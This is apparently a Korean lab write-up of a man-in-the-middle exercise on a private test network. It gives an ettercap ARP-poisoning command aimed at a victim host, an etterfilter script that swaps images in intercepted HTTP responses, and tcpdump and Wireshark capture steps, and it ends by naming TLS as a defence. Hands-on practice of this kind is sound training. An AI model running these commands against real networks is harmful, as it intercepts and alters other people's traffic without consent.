[Network] MITM 실습

1. 구성과 계획

• 네트워크 구성도

web - 192.168.10.113/00:0C:29:A9:51:06

tcpdump att6 - 192.168.10.149/00:0C:29:C6:9A:42

agent att5 - 192.168.10.148/00:0C:29:5D:87:05

피해자 win10 - 192.168.10.191/4c:ed:fb:98:a5:b9

• 과정 정리

step1. web 사이트 셋팅

step2. att5 ettercap 설치

step3. att5 필터 파일 생성

step4. att6 tcpdump

step5. att5 ettercap 공격

step6. win10 웹사이트 접속

step7. wireshark 패킷 분석

2. 관련내용정리

MITM : 중간자 공격이라 불린다. 중간에 패킷을 가로채서 변조

etterfilter : MITM 공격을 하기 위한 프로그램

3. 실습과정

step1. web 사이트 셋팅

아파치 서버에 그림파일을 셋팅

step2. att5 ettercap 설치

yum install -y ettercap

step3. att5 필터 파일 생성

vi filter.txxt

if (ip.proto == TCP && tcp.src == 80) {

replace("img src=", "img src=\"http://192.168.10.113/sb1.png\"");

replace("IMG SRC=", "img src=\"http://192.168.10.113/sb1.png\"");

msg("Replaced the pic. \n");

}

우회할 웹서버 주소와 해당 파일 경로를 넣는다.

etterfilter -o filter.ef filter.txt

컴파일한다.

step4. att6 tcpdump

tcpdump -i eth0 -xX -w mitm.cap

step5. ettercap 공격

// 5버전

ettercap -T -q -F filter.ef -M ARP /192.168.10.191/ //

// 6버전

ettercap -T -q -F filter.ef -M ARP /192.168.10.191// ///

해당 PC를 공격해본다.

step6. 접속 및 확인

http://www.menupan.com/restaurant/search/search_main.asp

공격자는 웹사이트에 접속시 그림이 바뀔때마다 진행사항이 뜬다.

피해자 arp 테이블

arp -a

step7. wireshark 패킷 분석

wireshark on

• filtering : ip.addr == 192.168.10.191

ICMP 패킷을 보내 모든 경로에서 오는 데이터를 변조하기 위해서 MAC address를 변조한다.

4. 결론

MITM을 보면 모든 통신을 검증하고 인증하여야한다는 점이다.

MITM을 방지하는 방법은 TLS를 이용하여 인증을 하는 방법이 있다.